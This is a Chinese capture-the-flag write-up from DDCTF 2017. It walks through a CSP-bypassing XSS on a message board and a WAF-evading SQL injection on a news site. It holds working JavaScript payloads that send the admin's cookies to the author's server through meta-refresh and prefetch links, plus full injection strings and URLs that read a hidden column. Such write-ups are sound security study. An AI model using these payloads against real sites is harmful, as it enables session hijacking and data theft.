上个月洒家参加了 DDCTF 玩了几把,其中有几道 Web 题还是很有意思的,在此做一下详细的记录。
绕过 CSP 的 XSS¶
分析¶
这题出得还是有点意思的。题目是一个 Message Board,可以给 admin 发送 message。发送完毕后提示 Success! wait for admin reading your message.
,并不知道发送到哪了。同时题目设置了 CSP:
Content-Security-Policy: default-src 'self'; script-src 'self'
显然无法加载其他域的资源。这里我简单测试了一下,发现这样的可以有反应:
<meta http-equiv="refresh" content="0; url='http://IP/xxx.jpg?refresh'">
然后请求到自己的服务器,HTTP 请求会带有一个 Referer 头可以看到
http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=xxxhash....
这样的满足 CSP 的相同域的 URL,访问发现就是用户的原始输入。
思路¶
那么思路就很简单了,提交 JavaScript 代码,结合 meta 标签,就可以得到一个相同域的可控内容,可以作为 JavaScript 的 URL,然后用 <script>
标签引用就可以执行任意的 JavaScript。
这里有个小技巧,把 <meta>
标签加到注释里面,这样这个 URL 既是 HTML 又是合法 JavaScript:admin 直接访问这个 message 的时候是作为 HTML 解析,<meta>
标签获得 referer 的 URL。然后再弄到 <script>
标签 src 属性里面,就作为 JavaScript 解析,meta 标签被注释掉就不会影响 js。
做题过程¶
提交这个来拿 Cookie:
// <meta http-equiv="refresh" content="0; url='http://IP/xxx.jpg?refresh'">
var meta = document.createElement('meta');
meta.setAttribute('http-equiv','refresh');
meta.setAttribute('content',"0; url='http://IP/xxx.jpg?cookie="+encodeURIComponent(document.cookie)+"'");
document.body.append(meta);
得到 referer 的 URL:
http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=A
然后弄一个 <script>
标签:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta http-equiv="refresh" content="2; url='http://IP/xxx.jpg?test3'">
</head>
<body>
<script src="http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=A"></script>
</body>
</html>
拿到 Cookie:
114.215.24.14 "-" "-" [20/May/2017:16:20:31 +0800] "GET /xxx.jpg?cookie=hit%3Dc2V0Y29va2llKCJmbGFnIiwgImZsYWd7eHh4eHh4eHh4eHh4eHh4eH0iLCB0aW1lKCkrMzYwMDAwMDAsICIvdDIvZjFhZ18xc19oM3IzIik7 HTTP/1.1" 200 15075 "http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=B" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
setcookie("flag", "flag{xxxxxxxxxxxxxxxx}", time()+36000000, "/t2/f1ag_1s_h3r3");
显然 flag 在 path 为 /t2/f1ag_1s_h3r3
的 Cookie 里面。那么用一个 iframe 就可以了。重复刚才的步骤,搞 JavaScript 代码:
// <meta http-equiv="refresh" content="0; url='http://IP/xxx.jpg?test4'">
var iframe = document.getElementById('iframe');
setTimeout(function(){
var meta = document.createElement('meta');
meta.setAttribute('http-equiv','refresh');
meta.setAttribute('content',"0; url='http://IP/xxx.jpg?flag="+encodeURIComponent(iframe.contentDocument.cookie)+"'");
document.body.append(meta);
},1000);
搞 <script>
标签:
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta http-equiv="refresh" content="2; url='http://IP/xxx.jpg?test5'">
</head>
<body>
<iframe src="/t2/f1ag_1s_h3r3/" id="iframe"></iframe>
<script src="http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=C"></script>
</body>
</html>
拿到 flag:
114.215.24.14 "-" "-" [20/May/2017:16:40:58 +0800] "GET /xxx.jpg?flag=flag%3Dflag%257BDDCTF-82b6ac5623b04c8f823d29fa73875c9c%2540didichuxing.com%257D%3B%20hit%3Dc2V0Y29va2llKCJmbGFnIiwgImZsYWd7eHh4eHh4eHh4eHh4eHh4eH0iLCB0aW1lKCkrMzYwMDAwMDAsICIvdDIvZjFhZ18xc19oM3IzIik7 HTTP/1.1" 200 15075 "http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=D" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
"flag{DDCTF-82b6ac5623b04c8f823d29fa73875c9c@didichuxing.com}"
附:其他类似的利用方法:¶
搜到一篇文章 https://paper.seebug.org/91/,学到了 prefetch bypass CSP 的姿势。发送一个 <link rel="prefetch" href="http://IP/">
就可以加载其他域的资源。那么 payload 就可以用:
var url = 'http://IP/?cookie=' + encodeURIComponent(document.cookie);
var n = document.createElement("link");
n.setAttribute("rel", "prefetch");
n.setAttribute("href", url);
document.head.appendChild(n);
让输入既是 HTML 又是合法 JavaScript,可以用上文的注释,也可以搞一个无关变量。
var a = '<link rel="prefetch" href="http://VPS-IP/">';
吐槽:Proof of Work 根本 proof 不了什么 work¶
发送的时候要求输入
verification code (substr(md5($_POST['code']),6,6)==='cbc72f') :
这样的验证码。然而现在有现成的库 libproofofwork 可以飞速生成验证码,也可以自己手动生成字典来解决这个问题,对于老司机而言效果还不如传统图片验证码。
有了这种解决方法,为了节约时间同时让注意力集中在题目本身,可以写脚本辅助发送 payload。
各种防护的 SQL 注入¶
http://118.190.134.8/t1/news.php?id=1 这是一个简单的新闻网站,通过 URL 的 id 参数选择新闻。
初步探测¶
有三种返回状态:
- error MySQL 出错
- R U a script little boy??? 被 WAF 过滤
- 正常返回,一篇文章有标题和内容
根据 http://118.190.134.8/t1/news.php?id=1a 报错,可以猜测 SQL 语句类似
SELECT * FROM news WHERE id = 用户输入
其中用户输入并没有引号包裹。(这个经验可以通过手动执行 1
1a
'1'
'1a'
4 种 SQL 来得到)
在这个网站上证明这一点:
WAF 过滤¶
手工简单测试可以发现,过滤了:
'
空格
,
"
/
\
sleep
后来又发现过滤了 secret
允许的:
select
union
(
)
%09
*
from
绕过 WAF 的 trick¶
这道题主要就是绕过 WAF,先来写一下绕过 WAF 用到的 trick。以下假设数据库的表有 3 列。
过滤了空格
可以用 %09
%0a
这种绕过。
过滤了逗号
是个关键点。可以用 join
绕过:
select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)
相当于
select 1 as a, 2 as b, 3 as c
过滤了字段名 secret
使用别名替换原始字段名的 trick 绕过:
select f1, f2 from (select 1 as f1, 2 as f2, 3 as f3 from news where 1=2 union select * from news) as sb
就相当于从 news 表中查询前两列。
如果连表名都被干掉了?
TCTF 2017 决赛 web LuckyGame 就遇到了这种情况。在那道题的特殊情况下,可以用 select ... into ...
利用已有的 SQL 注入点把要的信息先搞到一个用户变量里面,然后再在别的地方查询这个变量就可以了。详情略。
做题过程¶
有了上面的绕过 WAF 方法,具体的过程如下(空格仍然保留,使用时自行替换成 %09
):确定标题是第二列,内容是第三列:
0 union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c JOIN (select 4)d)
查询 user()
和 version()
:
0 union select * from ((select 1)a JOIN (select user())b JOIN (select version())c JOIN (select 4)d)
猜测表名 news,字段 id title content:
0 union select * from ((select 1)a JOIN (select title from news where id=4)b JOIN (select 3)c JOIN (select 4)d)
显然一共有 4 个字段,还剩一个字段。手动猜了一下,flag 这种都不正确,于是读取 INFORMATION_SCHEMA.COLUMNS
表:
0 union select * from ((select 1)a JOIN (select column_name from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x6e657773 and ORDINAL_POSITION=4)b JOIN (select 3)c JOIN (select 4)d)
显示另一个字段是 secret
(WTF??要知道就使劲猜了)。这时候想着直接用上文方法查询 secret
字段即可出 flag,但是试了一下直接被 WAF 过滤 secret
这个词,这里是第二个关键点。
用别名的方法绕过:
select concat(field_1,field_2,field_3,field_4) from (select 1 as field_1, 2 as field_2, 3 as field_3, 4 as f4 from news where 1=2 union select * from news) as sb
用 field_1
这样字段的别名代替原来的字段名。
由于逗号同时被过滤了,那么就需要再用上文的 trick,变为:
select f4 from ( select * from ((select 1 as f1)t1 join (select 2 as f2)t2 join (select 3 as f3)t3 join (select 4 as f4)t4 ) where 1=2 union select * from news where id=4) as sb
最终的 Payload:
0 union select * from ((select 1)a JOIN (select f4 from ( select * from ((select 1 as f1)t1 join (select 2 as f2)t2 join (select 3 as f3)t3 join (select 4 as f4)t4 ) where 1=2 union select * from news where id=4) as sb)b JOIN (select 3)c JOIN (select 4)d)
URL:
http://118.190.134.8/t1/news.php?id=0%09union%09select%09*%09from%09((select%091)a%09JOIN%09(select%09f4%09from%09(%09select%09*%09from%09((select%091%09as%09f1)t1%09join%09(select%092%09as%09f2)t2%09join%09(select%093%09as%09f3)t3%09join%09(select%094%09as%09f4)t4%09%09)%09where%091=2%09union%09select%09*%09from%09news%09where%09id=4)%09as%09sb)b%09JOIN%09(select%093)c%09JOIN%09(select%094)d)